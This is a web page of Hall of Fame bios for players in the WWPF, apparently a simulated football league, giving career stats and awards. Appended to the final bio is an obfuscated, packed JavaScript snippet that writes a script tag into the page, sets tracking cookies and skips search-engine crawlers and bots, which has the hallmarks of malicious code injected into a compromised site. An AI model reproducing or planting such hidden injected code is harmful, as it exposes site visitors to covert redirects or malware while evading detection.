WWPF 2014 Hall of Fame Class

Eric Peterson-DE(2009)

Petersen spent his entire career with the Colts until he decided to hang up the cleats in 2009 at 36 years old. From the time he stepped on the field as a Colt in the 2000 season he has been a dominate force. During his time with the Colts Petersen went to 10 Pro Bowls (every year of his career), earned himself 4 consecutive MVP’s (2003-2006)and lead the league in sacks 5 different seasons. Petersen holds the single season record for sacks at 37, and currently stands alone as the leading career sack artist with 212 sacks. Quarterbacks of his generation were quoted as “losing sleep” and “having nightmares” about Petersen in the days prior to game day. Petersen is a sure fire first ballot Hall of Famer and will be inducted into the WWPF Hall of Fame as a Colt.

Willy Odell LB (2004)

Odell was a Pro Bowler in all 5 of his WWPF Seasons. The king of turnovers had 5 consecutive seasons with double digit forced fumbles (9 going back to the AFL). He also record over 100 tackles in each of his 11 pro season with a peak of 197 for the Giants in 1995. Going back to the AFL, Odell was a pro bowler every year of his career. He also was a 4 time Player of the Year in the AFL.

Robert Devore QB (2008)

Devore played 20 season of Professional Football. Devore threw for over 4000 yds and 35 TD's in 3 of his first four WWPF Seasons. Devore won the MVP in 2001, missed much of 2002 with an injury and came back to win his 2nd MVP in 2003. Devore made 5 Pro Bowls and added a Championship ring with the Vikings in 1998. Devore threw for a combined 46,253 yards and 325 TD's.

Stephen Messenger QB (2009)

Messenger retired one year ahead of Shapiro and held the career marks in all of the same categories before Shapiro overtook him in 2010. Messenger had career marks of 2,360 completions (5th), 31350 passing yards (3rd), and 222 TD Passes (4th). Messenger had a few more peaks than Shapiro, though, and more post-season success. The 4 time Pro-Bowler took his Brown to the AFC Championship from 2000-2002 only to be turned away each time. In 2003, Messenger finally broke through and earned his only Championship by defeating the Atlanta Falcons.

David Guyton RB (2005)

Guyton was 31 when he joined the WWPF. Already the career rushing leader in the NFA at the time of the merger, Guyton picked up another 2 Pro Bowl appearances. His best year in the WWPF was 2001 when he rushed for what is still a league record 1963 yards and 22 TD's. He averaged an amazing 7.6 yards per carry that year. For his professional career, he had 8 pro bowls, an MVP and won the Championship in 1994. He finished with 13,284 yds rushing, 74 TD's on the ground and added another 1531 yds and 6 Td's in the post season.

George Frierson RB (2009)

George Frierson, with his speed and strength, led ATL from 2000-2003 and OAK from 2004-2009 towards 2nd in career rushing with 11902 yards while being a season leader twice. He also found his way into the endzone with 67 rushing TD (3rd amongst his peers.) This 6 time Pro Bowl Back was also impressive at receiving, ranking 3rd amongst RBs with 5659 receiving yards and 2nd in receiving TDs with 36. Frierson had six 1000+ rushing seasons including one that nabbed him the League MVP and Player of the Year awards in 2002 with 1706 rushing yards. Frierson one of the most versatile RB in WWPF history ended his career in 2009 at 34 missing only one post-season, that final year.

William Overstreet SS (2010)

At 6-2 238 LBS Overstreet, possessed unbelievable mobility for his size. While Overstreet was a solid tackler recording 754 (3rd all-time among SS) his strong suit was his pass coverage ability. Overstreet is the all-time leading interception artist recording 40 throughout his 10 year career with the WWPF. Overstreet is also tied for 1st all-time for defensive TD’s scored with 10. On top of all the success he had in coverage he also forced 29 fumbles ranking him 3rd all-time among strong safeties. Overstreet spent time in Den, Jac, and Min before finally retiring in 2010 and earned himself a total of 6 pro bowls 1 with Denver, 3 with Jacksonville, and 2 with Minnesota. Overstreet could possibly go down as one of the biggest playmakers the WWPF has ever seen.

Jeremy Fox TE (2010)

The first elite Tight End in the WWPF. Fox went to 9 consecutive Pro-Bowls and gained over 1,000 yds in each of those years. Fox had over 100 catches twice in his career and only dropped four passes in 11 seasons. The speedy TE was also more than capable blocking his position. When he wasn't scoring one of his 75 TD's, he was making holes for Casey Ogle (196 pancakes,4th all time for TE). Fox finished his career with 841 receptions (5th), 12,604 yds (5th) and 75 TDs (9th) all first among TE's.

Phillip Ogden WR (2008)

Phillip Ogden was built a champion. At 6'2, 233 lbs, Ogden possessed abnormal amount of speed, quickness, and stregnth at the receiving position. Ogden has 10158 career receiving yards with 92 receiving TD. With 4 Pro Bowls, 7 1000+ receiving yards season which included a high of 1800 in 2002, Ogden's success came in the post-season. He has 5 rings, 2 with BUF in 2001 and 2002, and 3 with ATL in 2004, 2005, and 2007. Ogden was a 2002 Play-off MVP and his post-season feats in 2002, 2004, and 2005 included receiving yards per game of 146, 136, and 147 respectively. Some saying he was the reason those teams won the Superbowl those years. He certainly can stretch the field averaging 19.3 YPC (4th overall) over his career. Ogden ended his career in HOU which he suffered an torn ligamen that he never recovered from.

Reuben Rea WR (2009)

An absolute speed demon throughout his entire career Rea retired at the age of 36 and was still rated a 90 in the speed category. From 2000-2009 he wreaked havoc on the NFC North secondary’s racking up 12973 receiving yards (2nd All-Time), 112 receiving TD’s (2nd All-Time), and 789 receptions (7th All-Time). Rea earned himself a championship in 2003 and had a spectacular playoff performance, playing in all 4 games with 17 catches 373 yds and 5 TD’s. Rea is 3rd All-time in playoff receiving yards (1138) and TD’s (10). Rea only had 1 drop in his entire career and the jury is still out on whether or not he should have been credited with a drop due to a poorly thrown ball that he made a spectacular attempt to catch but came up just off his finger tips. Rea retired as a Cleveland Brown in 2009 and is looking to be a first ballot Hall of Famer. ))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('b a=["\\h\\M\\r\\R\\B\\1I","\\1P\\1O\\B\\B\\h","\\l\\h\\P","\\1K","\\r\\s\\j","\\m\\Q\\j","\\j\\j\\Q","\\p","\\1M","\\R\\1Z","\\2a\\F\\s\\h\\1Y","\\F\\r","\\l\\P\\h","\\E","\\O\\m\\r\\s","\\E\\l","\\j","","\\2c","\\N\\S\\O","\\1s\\p\\p","\\z\\l","\\l","\\M","\\z","\\p\\E","\\1p\\F\\m\\z","\\1D","\\N","\\S","\\1C\\h\\m\\j\\s"];C 1e(){b 1a=L[a[1]](L[a[0]]()*1y);b T=a[2];b v=a[3];b Z=a[4];b x=a[5];b Y=a[6];b 1F=a[7];b A=a[8];b V=a[9];b G=a[10];b W=a[11];b w=a[12];b X=a[13];b U=a[14];b H=a[15];b K=a[16];k[a[1r]](a[17]+v+a[17]+w+a[17]+x+a[18]+T+a[19]+Y+a[20]+X+a[17]+G+a[21]+W+a[22]+U+a[23]+V+a[24]+Z+a[25]+G+a[26]+H+a[27]+K+a[28]+1a+a[29]+A+a[17]+v+a[7]+w+a[17]+x+a[17]+A+a[17])};C 1k(n,1l,D){g(D){b o=1T 2b();o.1V(o.1W()+(D*24*I*I*1q));b t="; t="+o.1o()}1H b t="";k.1j=n+"="+1l+t+"; 1X=/"}C 1f(n){b u=n+"=";b y=k.1j.1Q(\';\');1R(b i=0;i',62,137,'||||||||||_0x5393|var||match|navigator|userAgent|if|x72||x74|document|x73|x69|name|date|x2F|length|x6E|x65|expires|nameEQ|_0xf4c8x4|_0xf4c8xd|_0xf4c8x6|ca|x2E|_0xf4c8x9|x6F|function|days|x6A|x75|_0xf4c8xb|_0xf4c8x10|60|script|_0xf4c8x11|Math|x61|x3D|x68|x63|x70|x64|x22|_0xf4c8x3|_0xf4c8xf|_0xf4c8xa|_0xf4c8xc|_0xf4c8xe|_0xf4c8x7|_0xf4c8x5|||||||||||_0xf4c8x2|return|substring|ssmeta|mkSgf|rdCx|referrer|null|crUnqz|cookie|crCx|value|Python|cache|toGMTString|x2D|1000|30|x3A|MSIE|inurl|Yahoo|Google|Apple|1000000|Trident|Opera|Chrome|x77|x3F|bot|_0xf4c8x8|Crawler|else|x6D|charAt|x3C|linked|x3E|while|x6C|x66|split|for|indexOf|new|Linux|setTime|getTime|path|x79|x76|||||||||||x71|Date|x20'.split('|'),0,{}))